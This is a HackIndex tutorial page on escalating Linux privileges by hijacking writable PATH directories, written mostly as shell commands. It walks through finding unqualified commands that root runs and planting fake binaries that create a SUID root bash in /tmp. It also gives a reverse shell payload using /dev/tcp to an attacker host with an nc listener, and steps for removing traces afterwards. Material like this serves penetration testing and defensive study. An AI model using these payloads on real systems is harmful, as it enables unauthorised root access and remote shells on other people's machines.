Skip to content
HackIndex logo

HackIndex

Writable PATH Hijacking for Privilege Escalation

4 min read Jul 14, 2026

When a privileged process calls a command without an absolute path, the OS resolves it by searching each directory in PATH from left to right. If you control a directory that appears before the real binary's location, your malicious version executes instead. This requires finding a writable directory in PATH and identifying at least one unqualified command that a root process calls.

Prerequisites Check

Check your current PATH and which directories you can write to:

echo $PATH

# Find writable directories in PATH
echo $PATH | tr ':' '\n' | while read dir; do
    [ -w "$dir" ] && echo "WRITABLE: $dir"
done

Check the system-wide PATH set in common locations:

user@host ~ $ cat /etc/environment 2>/dev/null
user@host ~ $ cat /etc/profile 2>/dev/null
user@host ~ $ grep -r "PATH=" /etc/profile.d/ 2>/dev/null

If the staff group has write access to /usr/local/bin and you are in that group, that is writable PATH. See https://hackindex.io/platforms/linux/privilege-escalation/group-based-privilege-escalation.

Finding What Root Calls Without Absolute Paths

You need to find a command that a root-owned script or cron job calls without a full path like /usr/bin/tar. Use pspy to observe live process invocations:

user@host ~ $ chmod +x /tmp/pspy64
user@host ~ $ /tmp/pspy64 -pf -i 1000

Watch for UID=0 processes and note the exact command line. Look for short command names without leading /.

Also check cron jobs and systemd services statically:

user@host ~ $ # Cron scripts
user@host ~ $ grep -rn --include="*.sh" -E "^[a-zA-Z]|[;&|]\s*[a-zA-Z]" /etc/cron* /opt /usr/local 2>/dev/null | grep -v "^Binary"
 
user@host ~ $ # Systemd ExecStart
user@host ~ $ grep -r "ExecStart=" /etc/systemd/system/ /lib/systemd/system/ 2>/dev/null | grep -v "^Binary" | grep -v "ExecStart=/"
 
user@host ~ $ # SUID binaries calling commands (via strings analysis)
user@host ~ $ find / -perm -u=s -type f 2>/dev/null | xargs strings 2>/dev/null | grep -E "^[a-z]{2,15}$" | sort -u

Confirming the Resolution Order

Before planting, confirm that the binary you identified resolves to a system path — not an absolute call:

user@host ~ $ # Check if the script uses absolute or relative path
user@host ~ $ grep "tar\|backup\|cp\|mv" /path/to/root-script.sh
 
user@host ~ $ # Check what PATH the script will use
user@host ~ $ head -20 /path/to/root-script.sh | grep "PATH="

If the script sets PATH=/usr/bin:/bin with no writable directory, hijacking is not viable for that script. If it sets PATH=/tmp:/usr/bin or does not set PATH at all (inheriting from cron's minimal PATH), check where cron's PATH directories are writable.

Planting the Malicious Binary

Once you have confirmed a writable directory that appears before the real binary:

SUID bash — most reliable payload:

user@host ~ $ echo '#!/bin/sh' > /writable/dir/COMMANDNAME
user@host ~ $ echo 'cp /bin/bash /tmp/.rootbash; chmod u+s /tmp/.rootbash' >> /writable/dir/COMMANDNAME
user@host ~ $ chmod +x /writable/dir/COMMANDNAME

Wait for the privileged process to run. Then:

user@host ~ $ /tmp/.rootbash -p

Reverse shell payload:

user@host ~ $ echo '#!/bin/sh' > /writable/dir/COMMANDNAME
user@host ~ $ echo "bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1" >> /writable/dir/COMMANDNAME
user@host ~ $ chmod +x /writable/dir/COMMANDNAME

Start your listener first:

user@host ~ $ nc -lvnp $LPORT

Common Writable PATH Scenarios

/usr/local/bin writable (staff group or misconfigured permissions):

user@host ~ $ ls -ld /usr/local/bin
user@host ~ $ # Check if writable by your group or world-writable
 
user@host ~ $ # Find what root calls that resolves here
user@host ~ $ which backup 2>/dev/null
user@host ~ $ which cleanup 2>/dev/null
 
user@host ~ $ # Plant
user@host ~ $ echo '#!/bin/sh' > /usr/local/bin/backup
user@host ~ $ echo 'cp /bin/bash /tmp/.rootbash; chmod u+s /tmp/.rootbash' >> /usr/local/bin/backup
user@host ~ $ chmod +x /usr/local/bin/backup

Cron PATH with /tmp prepended:

When /etc/crontab has PATH=/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:

user@host ~ $ echo '#!/bin/sh' > /tmp/COMMANDNAME
user@host ~ $ echo 'cp /bin/bash /tmp/.rootbash; chmod u+s /tmp/.rootbash' >> /tmp/COMMANDNAME
user@host ~ $ chmod +x /tmp/COMMANDNAME

Current directory (.) in PATH:

If PATH contains . or starts with : (implicit current directory), any directory you are in when a root process runs becomes a hijack target:

user@host ~ $ echo $PATH | grep -E "^\.|:\.:|:\.$"
user@host ~ $ # Also check for implicit empty entry
user@host ~ $ echo $PATH | grep "::"

Plant a binary in any directory a root process changes into before executing the command.

Confirming Execution

After planting, confirm the binary runs when triggered:

user@host ~ $ # Add a marker to verify your binary ran
user@host ~ $ echo '#!/bin/sh' > /writable/dir/COMMANDNAME
user@host ~ $ echo 'touch /tmp/.hijack_proof' >> /writable/dir/COMMANDNAME
user@host ~ $ echo 'cp /bin/bash /tmp/.rootbash; chmod u+s /tmp/.rootbash' >> /writable/dir/COMMANDNAME
user@host ~ $ chmod +x /writable/dir/COMMANDNAME

Check for /tmp/.hijack_proof after the next cron interval or service restart. If it exists, your payload ran. If /tmp/.rootbash is also SUID:

user@host ~ $ ls -la /tmp/.rootbash
user@host ~ $ /tmp/.rootbash -p
user@host ~ $ whoami

Cleanup

Remove your planted binary and the SUID shell after escalating to avoid leaving artefacts:

user@host ~ $ rm /writable/dir/COMMANDNAME
user@host ~ $ rm /tmp/.rootbash
user@host ~ $ rm /tmp/.hijack_proof

References